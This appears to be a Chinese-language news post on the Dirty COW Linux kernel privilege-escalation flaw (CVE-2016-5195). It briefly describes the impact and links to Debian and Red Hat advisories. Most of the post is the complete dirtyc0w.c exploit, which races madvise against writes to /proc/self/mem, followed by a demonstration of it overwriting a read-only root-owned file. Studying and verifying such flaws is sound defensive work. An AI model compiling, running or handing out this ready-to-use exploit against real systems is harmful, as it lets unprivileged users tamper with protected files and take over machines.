Linux内核出现本地提权漏洞 CVE-2016-5195 2007年以后的版本都可能受到影响

Dirty Cow (CVE-2016-5195) 是 Linux Kernel 中的一个权限提升漏洞。Linux 内核内存子系统处理私有只读存储器映射的写入时复制 (COW) 机制被发现了一个冲突条件。这个漏洞存在于 2.6.22以后的版本 (在 2007 年发布),已经在 2016 年 10 月 18 日修复。

该漏洞影响

  • 没有权限的本地用户可以使用此漏洞获取写访问权限,修改只读内存映射,从而增加他们在系统上的特权。
  • 该漏洞允许攻击者使用本地系统帐户修改磁盘上的二进制文件,绕过标准的权限机制,这些权限机制通常用于防止修改没有适当的权限集。

Debian及Redhat分别就此漏洞发布公告

Debian漏洞公告

Debian: https://security-tracker.debian.org/tracker/CVE-2016-5195

​Redhat漏洞公告

Redhat: https://access.redhat.com/security/cve/cve-2016-5195

更多内容请查阅:

https://bugzilla.redhat.com/show_bug.cgi?id=1384344 

http://seclists.org/bugtraq/2016/Oct/43 

脏牛Dirty COW漏洞验证

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r—–r– 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;

}

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